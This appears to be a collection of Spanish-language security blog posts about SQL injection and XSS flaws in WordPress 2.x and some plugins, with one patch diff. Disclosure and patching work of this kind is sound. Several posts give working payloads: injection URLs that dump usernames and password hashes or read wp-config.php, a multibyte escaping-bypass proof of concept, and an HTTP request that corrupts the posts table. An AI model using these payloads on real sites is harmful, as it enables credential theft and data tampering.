Inyección de SQL en WordPress

Luego de que alguien hiciera eco sobre un falso problema de inyección de SQL en WordPress 2.3.1, esta vez han publicado detalles de un bug que permite realizar este tipo de ataques en las ramas 2.2 y 2.3 (podría afectar a versiones anteriores también). Antes de pegar un grito al cielo y maldecir a los programadores de WordPress, vale aclarar que este bug sólo se puede reproducir siempre y cuando la codificación de la base de datos sea SJIS, BIG5 o GBK.

El problema radica en que en los juegos de caracteres de ancho variable mencionados, es posible que a partir de secuencias de caracteres no válidas y luego de aplicar la función addslashes, se pueda realizar ataques de inyección de SQL. Por ejemplo en la prueba de concepto del mencionado bug envían la secuencia 0xb327 (caracter multi-byte no válido en Big5) que luego de aplicarle la función addslashes la cadena resultante será 0xb35c27 (notar que el caracter \ = 0x5c se agregó antes de la comilla simple ' = 0x27), sin embargo en esta codificación la secuencia 0xb35c (許) es un caracter multi-byte válido por lo que en realidad la cadena resultante tendría la comilla simple sin escapar (許').

Dado que WordPress cambia la codificación de la conexión con SET NAMES 'GBK' (que es lo que hace cuando se especifica un valor para DB_CHARSET en el archivo de configuración), este problema de seguridad tendrá los mismos efectos aún usando la función mysql_real_escape_string.

Actualización: He subido un ejemplo que ilustra el problema descrito. El código de ese ejemplo es el siguiente por si quieren hacer pruebas:

php:
<?php
header('Content-Type: text/plain; charset=Big5');

$login = chr(0xB3).chr(0x27) . ' UNION ALL SELECT * FROM foo /*';
if ( isset($_GET['login']) )
        $login = stripslashes($_GET['login']);

$sql = "SELECT * FROM wp_posts WHERE login = '%s'\n";

echo sprintf($sql, addslashes($login));

mysql_connect('localhost', 'tests', '1234');
mysql_query('SET NAMES Big5');

echo sprintf($sql, mysql_real_escape_string($login));

mysql_close();
?>

Lectura recomendada

Eviten el uso del plugin iMP-Download para WordPress

Esta entrada que escribí meses atrás iba a quedar como borrador, pero visto las repercusiones en blogs hispanos sobre un supuesto nuevo problema de seguridad de WordPress, publico esta entrada porque el sitio afectado usaba este plugin -- no tengo idea si esto tiene relación con el ataque que sufrió.

En las primeras líneas del plugin iMP-Download, se puede apreciar el siguiente código:

php:
<?php
/*
Plugin Name: iMP Download
Version: 1.4.1
Plugin URI: http://www.inmypad.com/2007/01/wordpress-plugins-imp-download/
Author: Hardi P
Author URI: http://www.inmypad.com/
Description: Download manager for wordpress user featuring download count, force download, quicktag, members only, widgets, etc. Integrated with search engine to find your downloads easily and pagination on download list.
*/


if (isset($_GET['dl'])) {
        global $wpdb, $table_prefix;
       
        // require_once('../../../wp-blog-header.php');
        $option = get_option('iMP_Download_Option');
       
        $user_login = $_COOKIE['wordpressuser_' . COOKIEHASH];

        if ($option['dl_mo'] == 1 && !$user_login) {
                $login = get_settings('siteurl') . '/wp-login.php';
        ?>
                script type="text/javascript">
                        var mo = confirm("Guest are not allowed to download!" + "\n" + "Press 'OK' to login/register or press 'CANCEL' to go back.")
                        if (mo == true) {
                                window.location = "<?php echo $login; ?>";
                    } else {
                                window.location = document.referrer;
                        }
                </script
        <?php
                exit();
        }
       
        $dl_id = $_GET['dl'];
        $table_name = $table_prefix . 'imp_download';
       
        $wpdb->query("UPDATE $table_name SET dl_count=dl_count+1 WHERE dl_id='$dl_id'");
       
        $url = "SELECT dl_url FROM $table_name WHERE dl_id = $dl_id";
        $file = $wpdb->get_var($url);

        $file = str_replace(' ','%20',$file);
        $filename = basename($file);
       
        $mimetype = 'application/octet-stream'// Set mime-type
        header("Pragma: "); // Leave blank for issues with IE
        header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
        header("Content-Type: $mimetype");
        if ($option['dl_fd'] == 1) {
                if (ini_get('allow_url_fopen') == 0 && !function_exists('curl_init')) {
                        header('Location: '.$file.''); // Switch to normal download mode if allow_url_fopen is disabled and cURL is not available
                } else {
                        header('Content-Disposition: attachment; filename='.basename($filename)); // Force download activated
                }
               
                if (ini_get('allow_url_fopen') == 1) {
                        $file = fopen($file, "rb");
                        fpassthru($file);
                        exit();
                } elseif (function_exists('curl_init')) {
                        $ch = curl_init();
                        curl_setopt($ch, CURLOPT_URL, $file);
                        curl_setopt($ch, CURLOPT_HEADER, 0);
                        curl_exec ($ch);
                        curl_close ($ch);
                        exit();
                }
        } else {
                header('Location: '.$file.''); // Force download deactivated
                exit();
        }
}

Como se puede apreciar en las líneas 34 y 39, el parámetro dl no es validado adecuadamente; ésto permite que cualquier usuario pueda realizar ataques de inyección de SQL y hacer muchas cosas como:

code:
* Obtener el usuario y contraseña de cualquier usuario
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/concat(user_login,0x2d,user_pass)/**/FROM/**/wp_users/**/WHERE/**/ID=1

* Si allow_url_fopen está habilitado, existe la posibilidad de descargar cualquier archivo del servidor (./wp-config.php)
http://localhost/wp/?dl=0/**/UNION/**/ALL/**/SELECT/**/0x2E2F77702D636F6E6669672E706870

Dada la gravedad del problema, es recomendable que desactiven -- o corrijan -- cuanto antes el mencionado plugin.

7 nuevos problemas de seguridad en WordPress

Actualización: g30rg3_x me comenta que ya están disponibles los parches oficiales para estos problemas de seguridad, pueden ver los archivos modificados para las versiones 2.2.x (zip) y 2.0.x (zip).

Hace algunas horas acaban de reportar 7 problemas de seguridad en WordPress:

  1. WordPress Persistant XSS Vulnerability in the Default Theme (v.2.2): Los parámetros para la imagen y color de la cabecera en el tema por omisión de WordPress (Kubrick) son vulnerables. Aunque no lo probé, me parece que es parecido al que reporté hace tiempo.
  2. WordPress /options.php SQL Injection Vulnerability: El parámetro page_options no está correctamente validado en wp-admin/options.php. Sólo los usuarios con nivel Administrador pueden explotar esta vulnerabilidad.
  3. WordPress /options.php Information Disclosure: Esta vulnerabilidad se deriva de la anterior, porque en wp-admin/options.php se asume que el nombre de las opciones son seguras.
  4. WordPress /edit-comments.php Database Error (Bug): Simplemente muestra un error en la consulta si el valor de la página es negativo.
  5. WordPress /link-import.php XSS Vulnerability: El parámetro cat_id no es filtrado adecuadamente, para explotarlo requiere tener un valor adecuado para el parámetro _wpnonce.
  6. WordPress /upload.php XSS Vulnerability: En este caso el parámetro style es inseguro.

La misma persona que reportó estos bugs se tomó el trabajo de realizar un gusano que se encarga de parchar los blogs vulnerables, siempre y cuando se el servidor web tenga permisos de escritura en los archivos afectados.

En cada uno de los tickets abiertos ya existen parches oficiales disponibles (4689, 4690, 4691 y 4692). Mi parche para corregir esos problemas es ligeramente diferente:

diff:
Index: wp-admin/edit-comments.php
===================================================================
--- wp-admin/edit-comments.php  (revision 5825)
+++ wp-admin/edit-comments.php  (working copy)
@@ -76,7 +76,7 @@
 endif;
 
 if ( isset( $_GET['apage'] ) )
-       $page = (int) $_GET['apage'];
+       $page = (int) abs($_GET['apage']);
 else
        $page = 1;
 
Index: wp-admin/link-import.php
===================================================================
--- wp-admin/link-import.php    (revision 5825)
+++ wp-admin/link-import.php    (working copy)
@@ -73,7 +73,7 @@
 
 <h2><?php _e('Importing...') ?></h2>
 <?php
-              $cat_id = $_POST['cat_id'];
+              $cat_id = (int) $_POST['cat_id'];
               if ( $cat_id == '' || $cat_id == 0 )
                      $cat_id  = 1;
 
Index: wp-admin/options.php
===================================================================
--- wp-admin/options.php        (revision 5825)
+++ wp-admin/options.php        (working copy)
@@ -143,6 +143,7 @@
               $options_to_update[] = $option->option_name;
               $class = 'all-options';
        }
+       $option->option_name = attribute_escape($option->option_name);
        echo "
 <tr>
        <th scope='row'><label for='$option->option_name'>$option->option_name</label></th>
Index: wp-admin/upload-functions.php
===================================================================
--- wp-admin/upload-functions.php       (revision 5825)
+++ wp-admin/upload-functions.php       (working copy)
@@ -104,6 +104,8 @@
 function wp_upload_form() {
        $id = get_the_ID();
        global $post_id, $tab, $style;
+       $style = attribute_escape($style);
+       $post_id = (int) $post_id;
        $enctype = $id ? '' : ' enctype="multipart/form-data"';
 ?>
        <form<?php echo $enctype; ?> id="upload-file" method="post" action="<?php echo get_option('siteurl') . "/wp-admin/upload.php?style=$style&tab=upload&post_id=$post_id"; ?>">
Index: wp-includes/functions.php
===================================================================
--- wp-includes/functions.php   (revision 5825)
+++ wp-includes/functions.php   (working copy)
@@ -206,6 +206,7 @@
 function get_option($setting) {
        global $wpdb;
 
+       $setting = $wpdb->escape(stripslashes($setting));
        // Allow plugins to short-circuit options.
        $pre = apply_filters( 'pre_option_' . $setting, false );
        if ( $pre )
@@ -305,6 +306,7 @@
 function update_option($option_name, $newvalue) {
        global $wpdb;
 
+       $name = preg_replace('/[^a-z\d_-]/i', '', trim($name));
        wp_protect_special_option($option_name);
 
        if ( is_string($newvalue) )
@@ -352,6 +354,7 @@
 function add_option($name, $value = '', $description = '', $autoload = 'yes') {
        global $wpdb;
 
+       $name = preg_replace('/[^a-z\d_-]/i', '', trim($name));
        wp_protect_special_option($name);
 
        // Make sure the option doesn't already exist. We can check the 'notoptions' cache before we ask for a db query
@@ -391,6 +394,7 @@
 
        wp_protect_special_option($name);
 
+       $name = $wpdb->escape(stripslashes($name));
        // Get the ID, if no ID then return
        $option = $wpdb->get_row("SELECT option_id, autoload FROM $wpdb->options WHERE option_name = '$name'");
        if ( !$option->option_id ) return false;
 

Los que no sepan -- o no quieran -- aplicar manualmente este parche no oficial, pueden descargar el conjunto de archivos modificados para la versión 2.2.1, úsenlo bajo vuestra propia responsabilidad. 🙂

Actualización (03/08/2007): Miquel encontró un bug en el parche que publiqué.

SQL Injection en el plugin de estadísticas de WordPress.com

Todos aquellos que estén usando el plugin de estadísticas de WordPress.com, es recomendable que desactiven cuanto antes el mismo, porque incluye una vulnerabilidad bastante grave que permite a un atacante remoto obtener las credenciales de cualquier usuario conociendo sólo su ID.

Detalles de la vulnerabilidad

El mencionado plugin registra dos nuevos métodos en el servidor XMLRPC que todo blog con WordPress tiene, éstos son wpStats.get_posts y wpStats.get_blog -- internamente implementados por stats_get_posts y stats_get_blog respectivamente. El que más nos interesa en este caso, es la función stats_get_posts:

[php start=1]function stats_get_posts( $args ) { list( $post_ids ) = $args; $r = 'include=' . join(',', $post_ids); $posts = get_posts( $r ); $_posts = array(); foreach ( $post_ids as $post_id ) $_posts[$post_id] = stats_get_post($post_id); return $_posts; }[/php]

A simple vista se puede ver que no existe ningún tipo de validación en los parámetros que esa función recibe, y como mencioné en ocasiones anteriores, usar esta forma (query string) para pasar parámetros a otras funciones es bastante peligroso, porque permite a un atacante modificar a su gusto los valores.

Por ejemplo, si hacemos que $post_ids contenga algo como:

code:
5&meta_key=%27) UNION ALL SELECT 1,2,3,4,5,user_login,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,user_pass,23,24,25,26,27,28 FROM wp_users/*&meta_value=1

El valor de la variable $r será:

code:
$r = 'include=5&meta_key=%27) UNION ALL SELECT 1,2,3,4,5,user_login,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,user_pass,23,24,25,26,27,28 FROM wp_users/*&meta_value=1'

Haciendo unos cambios en el valor de $post_ids se recupera toda la lista de usuarios con sus respectivas contraseñas en MD5, pero para obtener estos valores todavía hay que tener en cuenta las líneas 6, 8 y 9.

Dejo intencionalmente incompleta la prueba de concepto y exploit como reto para los que le gustan estas cosas y como medida de protección de los script kiddies.

WordPress: Más vulnerabilidades de inyección de SQL

Puesto que en estos días ando algo ocupado y sin muchas ideas para publicar, aprovecharé la oleada de reportes de seguridad en WordPress para comentar algunos bugs que todavía no están corregidos en la versión 2.2.1 ni en la versión en desarrollo, a pesar de que los reporté hace como dos o tres semanas.

Primera variante

Se puede reproducir en las funciones create_post, put_post y put_attachment de wp-app.php, este error se produce porque no escapan adecuadamente todos los caracteres potencialmente peligrosos en los datos que son enviados a ésta página. Esta es la única función que actúa sobre esos datos:

php:
function xml_escape($string)
{
         return str_replace(array('&','"',"'",'<','>'),
                array('&amp;','&quot;','&apos;','&lt;','&gt;'),
                $string );
}

El siguiente ejemplo muestra una petición HTTP que arruinará los contenidos de la tabla wp_posts, en este caso se usa el método put_post.

code:
PUT /wp/wp-app.php?action=/post/55 HTTP/1.1
Cookie: auth cookies
Content-Type: application/atom+xml
Host: localhost
Content-Length: 170

<feed>
    <entry>
        <id>http://localhost/wp/archivos/titulo-modificado/</id>
        <title type="html">foo\</title>
        <summary type="html">/*</summary>       
    </entry>
</feed>

Al realizar esa petición HTTP, la consulta ejecutada será:

sql:
UPDATE IGNORE wp_svn_posts SET
                        post_author = '1',
                        post_date = '2007-06-27 22:57:05',
                        post_date_gmt = '2007-06-28 03:57:05',
                        post_content = '',
                        post_content_filtered = '',
                        post_title = 'foo\',
                        post_excerpt = '/*',
                        post_status = 'publish',
                        post_type = 'post',
                        comment_status = 'open',
                        ping_status = 'open',
                        post_password = '',
                        post_name = 'test',
                        to_ping = '',
                        pinged = '',
                        post_modified = '2007-07-12 23:05:39',
                        post_modified_gmt = '2007-07-13 04:05:39',
                        post_parent = '0',
                        menu_order = '0'
                        WHERE ID = 55
 

Segunda variante

Esta variante está en estrecha relación a lo discutido en "PHP: Uso adecuado de parse_str", en esta entrada, a pesar de que existen más lugares donde se puede hacer lo mismo, sólo mostraré un caso específico.

En el widget para mostrar páginas, existe una opción que permite indicar los IDs de las páginas a excluir, este valor se almacena sin casi ningún tipo de validación (sólo se aplica strip_tags). Si hacemos que ese parámetro tenga el siguiente valor (puede variar de acuerdo a la versión que usen), en la página principal del blog se mostrará la lista de usuarios con su respectiva contraseña en MD5.

code:
2&hierarchical=0&meta_key=2') UNION ALL SELECT 1,1,2,3,4,concat(user_login,0x7C,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 FROM wp_svn_users/*&meta_value=1

Usando este mismo método, es posible realizar ataques XSS en wordpress.com (ver demo, funciona en IE y algunas veces en Firefox), en este caso, las vulnerabilidades de XSS son más peligrosas porque las cookies son globales, es decir, se comparten entre todos los subdominios de wordpress.com.